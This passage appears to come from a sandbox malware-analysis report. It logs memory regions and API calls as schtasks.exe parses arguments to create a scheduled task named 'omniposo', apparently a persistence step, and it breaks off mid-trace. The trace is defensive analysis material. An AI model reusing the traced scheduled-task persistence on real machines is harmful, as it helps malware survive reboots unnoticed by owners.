end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2801 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2802 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 150 os_tid = 0x6ac [0114.064] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0114.064] __set_app_type (_Type=0x1) [0114.064] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0114.064] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0114.064] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0114.065] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0114.065] CsrIdentifyAlertableThread () returned 0x0 [0114.065] GetProcessHeap () returned 0x1f1146c0000 [0114.065] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c4ee0 [0114.065] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.065] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0114.065] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0114.065] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0114.065] RtlVerifyVersionInfo (VersionInfo=0xe718eaf510, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0114.065] GetProcessHeap () returned 0x1f1146c0000 [0114.065] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c4f00 [0114.065] lstrlenW (lpString="") returned 0 [0114.066] GetProcessHeap () returned 0x1f1146c0000 [0114.066] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x2) returned 0x1f1146c4f20 [0114.066] GetProcessHeap () returned 0x1f1146c0000 [0114.066] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c4890 [0114.066] GetProcessHeap () returned 0x1f1146c0000 [0114.066] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c48c0 [0114.066] GetProcessHeap () returned 0x1f1146c0000 [0114.066] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c48e0 [0114.066] GetProcessHeap () returned 0x1f1146c0000 [0114.066] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c4910 [0114.066] GetProcessHeap () returned 0x1f1146c0000 [0114.066] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c4480 [0114.066] GetProcessHeap () returned 0x1f1146c0000 [0114.066] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c9160 [0114.067] GetProcessHeap () returned 0x1f1146c0000 [0114.067] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c44b0 [0114.067] GetProcessHeap () returned 0x1f1146c0000 [0114.067] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c90d0 [0114.067] GetProcessHeap () returned 0x1f1146c0000 [0114.067] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c9130 [0114.067] GetProcessHeap () returned 0x1f1146c0000 [0114.067] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c9190 [0114.067] GetProcessHeap () returned 0x1f1146c0000 [0114.067] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c91c0 [0114.067] GetProcessHeap () returned 0x1f1146c0000 [0114.067] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c44d0 [0114.067] GetProcessHeap () returned 0x1f1146c0000 [0114.067] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c8f80 [0114.067] GetProcessHeap () returned 0x1f1146c0000 [0114.067] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c9220 [0114.067] GetProcessHeap () returned 0x1f1146c0000 [0114.067] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c8ec0 [0114.067] GetProcessHeap () returned 0x1f1146c0000 [0114.067] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c91f0 [0114.067] SetThreadUILanguage (LangId=0x0) returned 0x409 [0114.069] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.069] GetProcessHeap () returned 0x1f1146c0000 [0114.069] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c8ef0 [0114.069] GetProcessHeap () returned 0x1f1146c0000 [0114.069] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c9100 [0114.069] GetProcessHeap () returned 0x1f1146c0000 [0114.070] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c8f20 [0114.070] GetProcessHeap () returned 0x1f1146c0000 [0114.070] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c8fb0 [0114.070] GetProcessHeap () returned 0x1f1146c0000 [0114.070] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c8fe0 [0114.070] GetProcessHeap () returned 0x1f1146c0000 [0114.070] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c4c80 [0114.070] _memicmp (_Buf1=0x1f1146c4c80, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.070] GetProcessHeap () returned 0x1f1146c0000 [0114.070] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x208) returned 0x1f1146c9b60 [0114.070] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1f1146c9b60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0114.070] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xe718eaf668 | out: lpdwHandle=0xe718eaf668) returned 0x76c [0114.075] GetProcessHeap () returned 0x1f1146c0000 [0114.075] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x776) returned 0x1f1146ca8c0 [0114.075] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1f1146ca8c0 | out: lpData=0x1f1146ca8c0) returned 1 [0114.078] VerQueryValueW (in: pBlock=0x1f1146ca8c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xe718eaf600, puLen=0xe718eaf660 | out: lplpBuffer=0xe718eaf600*=0x1f1146cac70, puLen=0xe718eaf660) returned 1 [0114.080] _memicmp (_Buf1=0x1f1146c4c80, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.081] _vsnwprintf (in: _Buffer=0x1f1146c9b60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xe718eaf5d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0114.081] VerQueryValueW (in: pBlock=0x1f1146ca8c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xe718eaf5f0, puLen=0xe718eaf658 | out: lplpBuffer=0xe718eaf5f0*=0x1f1146caaa0, puLen=0xe718eaf658) returned 1 [0114.081] lstrlenW (lpString="schtasks.exe") returned 12 [0114.081] lstrlenW (lpString="schtasks.exe") returned 12 [0114.081] lstrlenW (lpString=".EXE") returned 4 [0114.081] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0114.082] lstrlenW (lpString="schtasks.exe") returned 12 [0114.082] lstrlenW (lpString=".EXE") returned 4 [0114.082] _memicmp (_Buf1=0x1f1146c4c80, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.082] lstrlenW (lpString="schtasks") returned 8 [0114.082] GetProcessHeap () returned 0x1f1146c0000 [0114.082] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c9040 [0114.082] GetProcessHeap () returned 0x1f1146c0000 [0114.082] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146c90a0 [0114.082] GetProcessHeap () returned 0x1f1146c0000 [0114.082] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cbaf0 [0114.082] GetProcessHeap () returned 0x1f1146c0000 [0114.082] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb7c0 [0114.082] GetProcessHeap () returned 0x1f1146c0000 [0114.082] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c4ca0 [0114.082] _memicmp (_Buf1=0x1f1146c4ca0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.082] GetProcessHeap () returned 0x1f1146c0000 [0114.082] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xa0) returned 0x1f1146c38c0 [0114.082] GetProcessHeap () returned 0x1f1146c0000 [0114.082] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb9a0 [0114.082] GetProcessHeap () returned 0x1f1146c0000 [0114.082] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb970 [0114.083] GetProcessHeap () returned 0x1f1146c0000 [0114.083] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb880 [0114.083] GetProcessHeap () returned 0x1f1146c0000 [0114.083] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c4cc0 [0114.083] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.083] GetProcessHeap () returned 0x1f1146c0000 [0114.083] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x200) returned 0x1f1146cbb90 [0114.083] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0114.083] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0114.083] GetProcessHeap () returned 0x1f1146c0000 [0114.083] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x30) returned 0x1f1146c3970 [0114.083] _vsnwprintf (in: _Buffer=0x1f1146c38c0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xe718eaf5d8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0114.083] GetProcessHeap () returned 0x1f1146c0000 [0114.083] GetProcessHeap () returned 0x1f1146c0000 [0114.083] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146ca8c0) returned 1 [0114.083] GetProcessHeap () returned 0x1f1146c0000 [0114.083] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146ca8c0) returned 0x776 [0114.084] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146ca8c0) returned 1 [0114.084] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.084] GetThreadLocale () returned 0x409 [0114.084] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.084] lstrlenW (lpString="?") returned 1 [0114.084] GetThreadLocale () returned 0x409 [0114.084] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.084] lstrlenW (lpString="create") returned 6 [0114.084] GetThreadLocale () returned 0x409 [0114.084] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.084] lstrlenW (lpString="delete") returned 6 [0114.084] GetThreadLocale () returned 0x409 [0114.084] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.084] lstrlenW (lpString="query") returned 5 [0114.084] GetThreadLocale () returned 0x409 [0114.084] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.084] lstrlenW (lpString="change") returned 6 [0114.084] GetThreadLocale () returned 0x409 [0114.085] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.085] lstrlenW (lpString="run") returned 3 [0114.085] GetThreadLocale () returned 0x409 [0114.085] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.085] lstrlenW (lpString="end") returned 3 [0114.085] GetThreadLocale () returned 0x409 [0114.085] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.085] lstrlenW (lpString="showsid") returned 7 [0114.085] GetThreadLocale () returned 0x409 [0114.085] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0114.085] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.085] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.085] lstrlenW (lpString="/create") returned 7 [0114.085] lstrlenW (lpString="-/") returned 2 [0114.085] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.085] lstrlenW (lpString="?") returned 1 [0114.085] lstrlenW (lpString="?") returned 1 [0114.085] GetProcessHeap () returned 0x1f1146c0000 [0114.085] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c43a0 [0114.085] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.085] GetProcessHeap () returned 0x1f1146c0000 [0114.085] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xa) returned 0x1f1146c43c0 [0114.085] lstrlenW (lpString="create") returned 6 [0114.085] GetProcessHeap () returned 0x1f1146c0000 [0114.085] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x18) returned 0x1f1146c43e0 [0114.085] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.085] GetProcessHeap () returned 0x1f1146c0000 [0114.085] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x14) returned 0x1f1146c4400 [0114.086] _vsnwprintf (in: _Buffer=0x1f1146c43c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|?|") returned 3 [0114.086] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|create|") returned 8 [0114.086] lstrlenW (lpString="|?|") returned 3 [0114.086] lstrlenW (lpString="|create|") returned 8 [0114.086] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.086] lstrlenW (lpString="create") returned 6 [0114.086] lstrlenW (lpString="create") returned 6 [0114.086] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.086] GetProcessHeap () returned 0x1f1146c0000 [0114.086] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c43c0) returned 1 [0114.086] GetProcessHeap () returned 0x1f1146c0000 [0114.086] RtlReAllocateHeap (Heap=0x1f1146c0000, Flags=0xc, Ptr=0x1f1146c43c0, Size=0x14) returned 0x1f1146c4710 [0114.086] lstrlenW (lpString="create") returned 6 [0114.086] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.086] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|create|") returned 8 [0114.086] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|create|") returned 8 [0114.086] lstrlenW (lpString="|create|") returned 8 [0114.086] lstrlenW (lpString="|create|") returned 8 [0114.086] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0114.086] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.086] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.086] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.087] lstrlenW (lpString="/tn") returned 3 [0114.087] lstrlenW (lpString="-/") returned 2 [0114.087] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.087] lstrlenW (lpString="?") returned 1 [0114.087] lstrlenW (lpString="?") returned 1 [0114.087] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.087] lstrlenW (lpString="tn") returned 2 [0114.087] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.087] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|?|") returned 3 [0114.087] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tn|") returned 4 [0114.087] lstrlenW (lpString="|?|") returned 3 [0114.087] lstrlenW (lpString="|tn|") returned 4 [0114.087] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.087] lstrlenW (lpString="create") returned 6 [0114.087] lstrlenW (lpString="create") returned 6 [0114.087] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.087] lstrlenW (lpString="tn") returned 2 [0114.087] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.087] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|create|") returned 8 [0114.087] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tn|") returned 4 [0114.087] lstrlenW (lpString="|create|") returned 8 [0114.087] lstrlenW (lpString="|tn|") returned 4 [0114.088] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0114.088] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.088] lstrlenW (lpString="delete") returned 6 [0114.088] lstrlenW (lpString="delete") returned 6 [0114.088] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.088] lstrlenW (lpString="tn") returned 2 [0114.088] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.088] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|delete|") returned 8 [0114.088] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tn|") returned 4 [0114.088] lstrlenW (lpString="|delete|") returned 8 [0114.088] lstrlenW (lpString="|tn|") returned 4 [0114.088] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0114.088] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.088] lstrlenW (lpString="query") returned 5 [0114.088] lstrlenW (lpString="query") returned 5 [0114.088] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.088] lstrlenW (lpString="tn") returned 2 [0114.088] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.088] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x8, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|query|") returned 7 [0114.088] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tn|") returned 4 [0114.088] lstrlenW (lpString="|query|") returned 7 [0114.088] lstrlenW (lpString="|tn|") returned 4 [0114.088] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0114.089] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.089] lstrlenW (lpString="change") returned 6 [0114.089] lstrlenW (lpString="change") returned 6 [0114.089] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.089] lstrlenW (lpString="tn") returned 2 [0114.089] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.089] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|change|") returned 8 [0114.089] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tn|") returned 4 [0114.089] lstrlenW (lpString="|change|") returned 8 [0114.089] lstrlenW (lpString="|tn|") returned 4 [0114.089] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0114.089] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.089] lstrlenW (lpString="run") returned 3 [0114.089] lstrlenW (lpString="run") returned 3 [0114.089] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.089] lstrlenW (lpString="tn") returned 2 [0114.089] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.089] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|run|") returned 5 [0114.089] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tn|") returned 4 [0114.089] lstrlenW (lpString="|run|") returned 5 [0114.089] lstrlenW (lpString="|tn|") returned 4 [0114.089] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0114.089] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.089] lstrlenW (lpString="end") returned 3 [0114.089] lstrlenW (lpString="end") returned 3 [0114.089] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.089] lstrlenW (lpString="tn") returned 2 [0114.089] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.090] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|end|") returned 5 [0114.090] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tn|") returned 4 [0114.090] lstrlenW (lpString="|end|") returned 5 [0114.090] lstrlenW (lpString="|tn|") returned 4 [0114.090] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0114.090] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.090] lstrlenW (lpString="showsid") returned 7 [0114.090] lstrlenW (lpString="showsid") returned 7 [0114.090] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.090] GetProcessHeap () returned 0x1f1146c0000 [0114.090] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4710) returned 1 [0114.090] GetProcessHeap () returned 0x1f1146c0000 [0114.100] RtlReAllocateHeap (Heap=0x1f1146c0000, Flags=0xc, Ptr=0x1f1146c4710, Size=0x16) returned 0x1f1146c4710 [0114.100] lstrlenW (lpString="tn") returned 2 [0114.100] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.100] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0xa, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|showsid|") returned 9 [0114.100] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|tn|") returned 4 [0114.100] lstrlenW (lpString="|showsid|") returned 9 [0114.100] lstrlenW (lpString="|tn|") returned 4 [0114.100] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0114.100] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.100] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.100] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.100] lstrlenW (lpString="/tn") returned 3 [0114.100] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0114.100] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.100] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.100] lstrlenW (lpString="/tn") returned 3 [0114.100] GetProcessHeap () returned 0x1f1146c0000 [0114.100] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x8) returned 0x1f1146c43c0 [0114.100] GetProcessHeap () returned 0x1f1146c0000 [0114.100] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb910 [0114.100] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.100] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.100] lstrlenW (lpString="omniposo") returned 8 [0114.101] lstrlenW (lpString="-/") returned 2 [0114.101] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0114.101] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.101] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.101] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.101] lstrlenW (lpString="omniposo") returned 8 [0114.101] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0114.101] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.101] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.101] lstrlenW (lpString="omniposo") returned 8 [0114.101] GetProcessHeap () returned 0x1f1146c0000 [0114.101] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x12) returned 0x1f1146c4740 [0114.101] GetProcessHeap () returned 0x1f1146c0000 [0114.101] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cbb20 [0114.101] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.101] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.101] lstrlenW (lpString="/sc") returned 3 [0114.101] lstrlenW (lpString="-/") returned 2 [0114.101] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.101] lstrlenW (lpString="?") returned 1 [0114.101] lstrlenW (lpString="?") returned 1 [0114.101] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.101] lstrlenW (lpString="sc") returned 2 [0114.101] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.101] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eaf5e8 | out: _Buffer="|?|") returned 3 [0114.101] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eaf5e8 